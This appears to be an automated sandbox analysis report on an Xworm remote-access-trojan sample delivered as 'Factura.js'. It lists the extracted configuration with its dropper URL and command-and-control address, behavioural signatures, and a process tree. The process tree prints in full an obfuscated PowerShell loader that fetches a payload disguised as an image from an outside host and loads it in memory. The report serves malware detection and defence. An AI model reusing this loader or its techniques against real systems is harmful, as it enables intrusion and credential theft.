Analysis
- max time kernel
150s - max time network
153s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
13/08/2026, 16:07
General
- Target Factura.js
- Size 1.0MB
- Sample260813-tknp7stdme
- SHA256 fa4d54b4720966445e20a0aeaf1761ea039089ada1b4f4fb3877a51cb6904ac8
Malware Config
Extracted
-
ps1
-
exe.dropper
https://seasquadshipping.com/old/MSI_PRO.png
Extracted
-
xworm
-
5.0
-
103.83.87.158:4040
-
RnkBS8btgLSN4WS2
-
install_file
USB.exe
Signatures
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Detect Xworm Payload 1 IoCs
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Creates a file in the Startup directory 1 TTPs 2 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Executes dropped EXE 1 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 13 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Factura.js1⤵
- Creates a file in the Startup directory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$havenage=''https://seasquadshipping.com/old/MSI_PRO.png''; $compossibility = [System.Net.HttpWebRequest]::Create($havenage); $compossibility.UserAgent = ''Mozilla/5.0''; $sfregazzi = $compossibility.GetResponse().GetResponseStream(); $reader = New-Object IO.StreamReader($sfregazzi); $kourbash = $reader.ReadtoEnd(); $lacune=''IN-''; $hominins=''-in1''; $javaone_2008_ge=[string]::IndexOf($kourbash, $lacune); $pajero=$kourbash.LastIndexOf($hominins); if($javaone_2008_ge -eq -1 -or $pajero -eq -1){return}; $syngamic=$javaone_2008_ge+$lacune.Length; $anomocarpous=$kourbash.Substring($kourbash.IndexOf($lacune)+$lacune.Length, $pajero-($kourbash.IndexOf($lacune)+$lacune.Length)); $phassachate=$anomocarpous.Replace(''*'',''A'').ToCharArray(); [Array]::Reverse($phassachate); $perforati=$phassachate -join ''''; [byte[]]$hobblingly=[Convert]::FromBase64String($perforati); $bosta=[AppDomain]::(''Cu''+''rrentDomain'').GetType().GetMethod(''Lo''+''ad'', [byte[]]); $unswerving=$bosta.Invoke([AppDomain]::(''Cu''+''rrentDomain''), (,$hobblingly)); $landaulets=(''dvwQyhKRRZaiaYpO4F5Doqw3Vc6K0hoOxktnRXd9zv4C5xsGSsM6tDeZcBiEYJf4UYgJeyTqt1cAf77rdX29iQ=='','''',''Wull6Moo0Nv5+H2E2oeFEtJ7/dxzkOHbC6AhIMq4CUie/hvDwSU+TNArA/Ayx+au'',''MbKszDhNznlSSpwyjMK9UnjN5HmbNIq4lcDe6TF1Q0g='',''ogt8ZI/AuWjWBrtB6nvXCqMAbeJQ23eyuPUEYtdMq9A='','''',''rHHCI90qwJ8lLmwVkzwt/lmFKleyuIfbIrAEqBm8cHE='','''',''9sxQQmGmKzt2NS2qS4V3/DPd+Pxf8+7b06/w+H90K8A='',''8wtlJA+p2uBWfXr73n8157k+QiCT4iz8yvEDVKvXuCE9hkxO/IG7gKisxlcuQCe4'',''qYUuYsy7SBuRdVvk7Y+3FjXV4ahxSGDQWPUJatzGyMk='',''r6868a+4/8opMZSVquiIhRwTO997gEIWWhqgNo2SVPQ='',''Zm52S6LK6FY9mWSMgeF0q2+Op2UYr0iNOinEMd87ZNM='','''',''g/LUchh18sZp1HunE6EQauKoaI02BZhYUyPk2bt7SIA='',''Xq2ovv1kX6j90w7Q2Z/dSGD+woE8nBalSANIpfZJAF4='','''','''',''''); try{$monometallist=($unswerving.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy=($monometallist.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null,[object[]]$landaulets)}catch{}'))"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\CasPol.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_7122e533c73941e3abd711f085a13287.cs"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES23E9.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC16811D90AAB548688CD254C12E4BD2A1.TMP"4⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\CasPol.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_282e399e328f4346a730f98a8a64c282.cs"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES260C.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC870BE3015A6C4A8C9C61DEEE49EC48EB.TMP"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\CasPol.exe"C:\Users\Admin\AppData\Local\Temp\CasPol.exe" 20283⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\CasPol.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_4c91cf34187048e7ba407765a82b3217.cs"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2735.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC946FCCDE42144C1EA68A9F251DFA9A85.TMP"4⤵
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CasPol.exe
RES23E9.tmp
RES260C.tmp
RES2735.tmp
__PSScriptPolicyTest_nnbg1psr.nyd.ps1
CSC870BE3015A6C4A8C9C61DEEE49EC48EB.TMP
guardian_src_7122e533c73941e3abd711f085a13287.cs
memory/1908-12-0x000002383E2F0000-0x000002383E350000-memory.dmp
memory/1908-1-0x0000023823B90000-0x0000023823BA0000-memory.dmp
memory/1908-16-0x000002383DF80000-0x000002383E19C000-memory.dmp
memory/1908-11-0x0000023823B90000-0x0000023823BA0000-memory.dmp
memory/1908-8-0x0000023823C50000-0x0000023823C72000-memory.dmp
memory/1908-2-0x0000023823B90000-0x0000023823BA0000-memory.dmp
memory/2028-13-0x0000000000400000-0x0000000000410000-memory.dmp
memory/2028-19-0x0000000005FA0000-0x0000000006032000-memory.dmp
memory/2028-22-0x0000000007CA0000-0x0000000007CD4000-memory.dmp
memory/2028-37-0x0000000017F80000-0x00000000189D8000-memory.dmp
memory/2028-21-0x0000000006130000-0x0000000006196000-memory.dmp
memory/2028-20-0x0000000005930000-0x000000000593A000-memory.dmp
memory/2028-54-0x0000000019180000-0x0000000019342000-memory.dmp
memory/2028-23-0x0000000007CF0000-0x0000000007CF6000-memory.dmp
memory/2028-18-0x00000000059F0000-0x0000000005F94000-memory.dmp
memory/2028-17-0x0000000004FF0000-0x000000000508C000-memory.dmp
memory/2028-31-0x000000000E640000-0x000000000F47C000-memory.dmp
memory/2028-27-0x0000000009F00000-0x0000000009F08000-memory.dmp
memory/2028-26-0x0000000009E80000-0x0000000009EFC000-memory.dmp
memory/4788-42-0x00000000007F0000-0x00000000007F8000-memory.dmp